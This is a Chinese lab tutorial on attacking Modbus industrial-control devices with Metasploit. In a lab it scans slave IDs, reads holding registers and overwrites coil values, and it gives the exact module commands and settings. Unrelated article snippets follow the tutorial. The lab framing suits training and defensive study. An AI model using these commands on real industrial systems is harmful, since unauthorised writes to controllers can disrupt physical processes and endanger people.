工控安全-使用Metasploit攻击Modbus设备

news/2024/11/8 18:34:08/

文章目录

    • 实验内容
    • 环境介绍
    • 实验开始
      • 开启Modbus从站主机和从站服务
      • 利用Metasploit工具扫描Modbus从站中的ID
      • 访问从站2的寄存器数据
      • 修改从站4线圈值
      • 可选择的action

实验内容

利用Metasploit工具针对Modbus协议进行攻击,读取Modbus从站寄存器数值以及修改Modbus从站寄存器数值。

环境介绍

kali:192.168.157.134
安装Modbus从站的Windows靶机:192.168.30.32

实验开始

开启Modbus从站主机和从站服务

手动添加两个从站(ID为2,4)并对其添加保持寄存器和线圈,添加结果如下图

从站ID为2:
在这里插入图片描述
在这里插入图片描述
下面添加保持寄存器的数值,随意填写即可:我这里填写的是11、12、13、14、15
在这里插入图片描述
从站ID为4
添加10个线圈,并赋值
在这里插入图片描述
1010100001
在这里插入图片描述

启动服务即可RUN

利用Metasploit工具扫描Modbus从站中的ID

启动msf,查询一下Modbus相关利用脚本
在这里插入图片描述

use 3 或者 use auxiliary/scanner/scada/modbus_findunitid

配置相关参数开始扫描
在这里插入图片描述
扫描到Modbus Slave ID 24

访问从站2的寄存器数据

切换脚本:

use 2 或者  use auxiliary/scanner/scada/modbusclient

在这里插入图片描述
在这里插入图片描述
从Slave2 中读取读取5个寄存器的数值

set data_address 0   		#设置读取或修改点位的起始位,实际是从1位开始的
set number 5      			#设置读取或修改寄存器的长度
set unit_number	2	 		#设置从站的id,这里为2
set rhosts 192.168.30.32 	#设置目标主机IP
run							#开始攻击

在这里插入图片描述
已经成功读取到从站2的寄存器数值,和之前我写入的数值一致.

修改从站4线圈值

从站4我只添加了线圈的值,并未添加寄存器,下面就进行修改从站4的线圈值:

set action WRITE_COILS		#切换功能为写入线圈
set number 10							
set unit_number	4	
set data_address 0
set data_coils 0101000010   #修改线圈的数值为0101000010 
run

在这里插入图片描述
此时查看Modbus-server,可发现数值修改成功

可选择的action

下面这些都是可选择的,包括读取修改-保持寄存器/线圈
在这里插入图片描述


http://www.ppmy.cn/news/9918.html

相关文章

猿代码超算实习生,五步助力拿到高薪offer

虽说行行出状元,但是一旦入错行,那就是一辈子的事。互联网的潮水已经退去,普通人再进入也只是勉强温饱。与其朝不保夕的被裁员,倒不如提前锁定未来30年的幸福。 20大以来,芯片国产化、超算(先进计算&#…

git远程仓库使用流程

git远程仓库使用流程远程仓库使用流程远程仓库介绍远程仓库使用流程如何将本地文件夹关联远程仓库多人开发配置流程远程仓库SSH配置远程仓库使用流程总结git分支使用流程分支介绍1.2-分支使用流程远程仓库使用流程 Git命名作用详细描述git clone克隆远程仓库代码把服务器的项目…

Linux_Study

文章目录1.操作系统概述1.1 操作系统的作用1.2 常见的操作系统2.Linux介绍2.1 诞生2.2 Linux内核3. Linux基础操作3.1 虚拟机快照3.2 Linux 目录结构3.3 命令、命令行3.4 ls命令(列表命令)3.5 cd/pwd命令(目录命令)3.6 相对路径、…

第05章 数组、排序和查找

数组 基本介绍 数组可以存放多个同一类型的数据,数组也是一种数据类型,是引用类型。 即:数组就是一组数据。 数组的使用 1、数组的定义 方法一: 数据类型[] 数组名 new 数据类型[大小] 说明:int[] a new int[5…

【数据结构进阶】并查集

并查集 正如它的名字一样,并查集(Union-Find)就是用来对集合进行 合并(Union) 与 查询(Find) 操作的一种数据结构。 合并 就是将两个不相交的集合合并成一个集合。 查询 就是查询两个元素是否属…

java实现的非关系型数据库:nosqldb

nosqldb一、nosqldb介绍二、nosqldb功能介绍三、数据存储结构介绍1. 数据文件存储结构(data.nosqldb)2.索引文件存储结构(index.mbdb)三、优化点1. 不支持连表查询2. 不支持分片存储3. 碎片整理一、nosqldb介绍 github地址 https://github.com/MaBo2420935619/nosqldb nosqld…

零基础学MySQL(一)-- 启动与创建数据库及对数据库的备份与恢复

🧧启动与创建数据库及对数据库的备份与恢复🥗一、启动与连接数据库1️⃣启动数据库2️⃣连接数据库🥫二、数据库的基本介绍1️⃣数据库的三层结构2️⃣数据在数据库中的存储方式3️⃣SQL 语句分类🍱三、对数据库的操作1️⃣创建数…

Neo4j详细介绍及使用教程

文章目录一、Neo4j介绍1.Neo4j简介2.图数据库简介3.Neo4j的优缺点4.Neo4j的常见应用场景二、使用教程1.下载安装2.数据插入和查询(1)基本概念(2)基本语法Ⅰ.CREATE操作——创建Ⅱ.MERGE——创建或更新Ⅲ.Match操作——查找指定的图数据Ⅳ.DELETE操作——删除节点3.JAVA实战一、…